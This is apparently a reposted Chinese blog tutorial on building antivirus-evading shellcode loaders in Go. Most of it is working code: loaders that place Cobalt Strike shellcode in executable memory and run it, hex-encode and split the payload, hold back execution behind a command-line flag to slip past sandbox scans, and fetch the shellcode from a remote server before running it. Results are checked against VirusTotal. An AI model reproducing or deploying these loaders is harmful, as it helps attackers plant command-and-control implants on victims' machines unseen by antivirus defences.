更多全球网络安全资讯尽在邑安全
Go加载器
网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
shellcode加密解密
简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。
package main
import (
"bytes"
"encoding/hex"
"fmt"
)
func main() {
//将[]byte -> string(16进制)
shellcode := []byte{0xfc,0x48,0x83, ...}
s := hex.EncodeToString(shellcode)
fmt.Println(s)
///将string(16进制) -> []byte
decode, _ := hex.DecodeString(s)
shellcode2 := decode
fmt.Println(shellcode2)
//比较[]byte类型的 shellcode shellcode2是否相等
fmt.Println(bytes.Compare(shellcode2, shellcode))
}
cs生成.c格式文件。
用如下python脚本,可以直接转化string(16进制)
import re
str = ""
with open("payload.c","r") as f:
while True:
line = f.readline()
if not line:
break
line = line.strip('n')
str += line
list1 = re.compile(r'"(.*)"').findall(str)
str2 = ''.join(list1).replace("\x","")
print(str2)
然后替换到加载器上。
package main
import (
"encoding/hex"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
code = "fc4883e4f0e8c..."//16进制字符串代码
)
func main() {
decode, _ := hex.DecodeString(code)
xor_shellcode := decode
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
这样子还是不行的,可以把shellcode变量拆分成几个变量再拼接,再加上参数执行,避免上传到杀软时直接执行,cs上线一堆...
package main
import (
"encoding/hex"
"syscall"
"unsafe"
"flag"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
code = "fc4883e4f0e8c8000000415141505"
code2 = "251564831d265488b5260488b5218488b5220488b725"
)
func main() {
code3 := "0480fb74a4a4d31c94831c0ac3c617c022c2..."
decode, _ := hex.DecodeString(code+code2+code3)
xor_shellcode := decode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
//demo.exe -c run
var c string
args := flag.String("c", "宝宝巴士", "执行")
flag.Parse()
c = *args
if c == "run" {
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
}
我这里使用的go build编译大小近2m,vt杀毒。
执行demo.exe -c run, cs上线
远程加载shellcode
使用resty库,一个远程读取txt文本例子。
package main
import (
"fmt"
"github.com/go-resty/resty/v2"
)
func main() {
client := resty.New()
resp, _ := client.R().EnableTrace().Get("http://127.0.0.1/1.txt")
str := resp.Body()
body := string(str)
fmt.Println(body)
}
go build 编译后大小近7m。
使用go的net/http包,一个远程读取txt文本例子。
package main
import (
"fmt"
"io/ioutil"
"net/http"
)
func main() {
url := "http://127.0.0.1/1.txt"
resp, err := http.Get(url)
if err != nil {
fmt.Println(err)
}
defer resp.Body.Close()
respData, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
}
respString := string(respData)
fmt.Println(respString)
}
go build 编译后大小近6m。
思路将16进制字符串的shellcode上传到服务器1.txt,加载器内使用net/http包远程加载shellcode。
package main
import (
"encoding/hex"
"flag"
"syscall"
"unsafe"
"io/ioutil"
"net/http"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
url = "http://127.0.0.1/1.txt"
)
func main() {
resp, _ := http.Get(url)
defer resp.Body.Close()
respData, _ := ioutil.ReadAll(resp.Body)
respString := string(respData)
decode, _ := hex.DecodeString(respString)
shellcode2 := decode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode2)), 0x1000|0x2000, 0x40)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode2[0])), uintptr(len(shellcode2)))
//load.exe -c run
var c string
args := flag.String("c", "have", "fun")
flag.Parse()
c = *args
if c == "run" {
syscall.Syscall(addr, 0, 0, 0, 0)
}
}
go build编译后,vt杀毒测试
总结
加密方便有待加强,使用Base64、凯撒密码等,伪动态加密shellcode,远程下载可以把文件分到几个文本上读取,也可也一半编码在加载器一半远程读取,最好的还是自己写加载器,不过需要二进制基础。
原文来自: 先知社区
原文链接: https://xz.aliyun.com/t/10296
原文始发于微信公众号(邑安全):GO静态免杀初探
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论